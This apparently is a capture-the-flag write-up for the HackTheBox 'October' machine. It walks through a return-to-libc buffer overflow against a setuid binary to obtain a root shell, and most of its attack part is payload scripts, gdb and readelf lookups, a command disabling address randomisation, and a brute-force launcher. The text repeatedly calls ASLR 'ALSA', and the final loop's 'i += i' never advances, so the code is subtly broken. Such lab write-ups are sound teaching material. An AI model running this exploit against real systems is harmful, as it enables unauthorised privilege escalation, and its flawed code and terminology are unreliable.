Buffer Overflow – Return to Libc

This article shows how to buffer overflow a vulnerable C program by using return to Libc method and gain a bash shell.

In information security and programming, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory locations.

Return-to-libc is a method that defeats stack protection on Linux systems.

This article shows that how to attack a vulnerable C program by using buffer overflow and return to Libc method to pop a bash shell.

The example come from HackTheBox October Box. You can download the C program by click this link. (MD5 is: 0e531949d891fd56a2ead07610cc5ded)

We will use Kali Linux to do buffer overflow. We need to install peda.py in our Kali Linux. You can click this link to learn how to install it.

There is a vulnerable program in the target server. However, the target server does not have any analyst tools (such as gdb). We download the program to our local machine, and develop an initial exploit program. We then develop a final version exploit in the target server based on our initial exploit program.

We are using the following command to check if the ALSA is enabled on the server. If the address is changing, which means that ALSA is enabled.

1
ldd ./vuln | grep libc
Check ALSA
Check ALSA

We can see that the ALSA is enabled. In this case, it does not matter. We can see that it changes slightly, and we can bypass it. I will mention how to bypass it in the end of this article.

We use the following command to create our payload.

1
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
Create Pattern Payload
Create Pattern Payload

Then, we run gdb, and execute the above payload for checking buffer length.

Check Buffer Length
Check Buffer Length

As we can see, it returns a value: 0x64413764. It is our buffer size. Execute the following command to translate this size.

1
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x64413764

It returns 112, which means that the buffer size is 112.

We create an empty python file and insert the following content.

1
2
3
4
5
6
import struct
 
buf = "A" * 112
buf += struct.pack("<I", 0xb7e19000) #Exit Address, Does not matter
 
print buf

Then, we run it in the gdb.

First Payload
First Payload

We can find that the exit address changed to the address that we provide in the payload.

Now, we need to obtain 3 addresses. First, we need to obtain System and sh address. We start gdb again.

Obtain System and /bin/sh Address
Obtain System and /bin/sh Address

As we can see: System address is: 0xf7e3f310 /bin/sh address is: 0xf7f61bac

We can obtain exit address by execute searchmem exit in gdb.

Obtain Exit Address
Obtain Exit Address

In this case, we are using: 0xf7e0d1db

The following script is our second payload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import struct
 
system_addr = struct.pack("<I", 0xf7e3f310)
arg_addr = struct.pack("<I", 0xf7f61bac)
exit_addr = struct.pack("<I", 0xf7e0d1db)
 
buf = "A" * 112
buf += system_addr
buf += exit_addr
buf += arg_addr
 
print buf

As I mentioned, ALSA is open. We need temporary close it on our local machine to test our payload.

Execute the following command to close/disable the ALSA.

1
echo 0 > /proc/sys/kernel/randomize_va_space

Then, we run our payload. You will see that we got a shell.

Got shell without ALSA
Got shell without ALSA

The above payload just works on our local machine. It will not work on the target server, because when we run the application on the target server, the address will totally be changed. Now, we are going to develop the final payload.

First, due to ALSA protection, the address keeps changing. We need to get a base address.

We can see that the base address is: 0xb761f000

Libc Base Address
Libc Base Address

Secondly, We need to obtain libc system address on the server.

1
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
Libc System Address
Libc System Address

we can see that the address is: 0x00040310

Thirdly, We need to obtain exit address on the server.

We can see that the exit address is: 0x00033260

Libc Exit Address
Libc Exit Address

Finally, We need to obtain libc /bin/sh address.

1
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

We can see that the /bin/sh address is: 0x00162bac

Libc /bin/sh Address
Libc /bin/sh Address

Due to the ALSA protection, we have to use “brute force” to obtain the valid address.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from subprocess import call
import struct
 
libc_addr = 0xb761f000
sys_off_addr = 0x00040310
exit_off_addr = 0x00033260
arg_off_addr = 0x00162bac
 
sys_addr = struct.pack("<I", libc_addr+sys_off_addr)
exit_addr = struct.pack("<I", libc_addr+exit_off_addr)
arg_addr = struct.pack("<I", libc_addr+arg_off_addr)
 
buf = "A" * 112
buf += sys_addr
buf += exit_addr
buf += arg_addr
 
i = 0
 while (i < 512):
 print "Try: %s" %i
 print buf
 i += i
 ret = call(["/usr/local/bin/ovrflw", buf])

After executed the above payload, we successfully buffer overflowed the vulnerable app and obtained the root shell.

Buffer Overflow return Root Shell
Buffer Overflow return Root Shell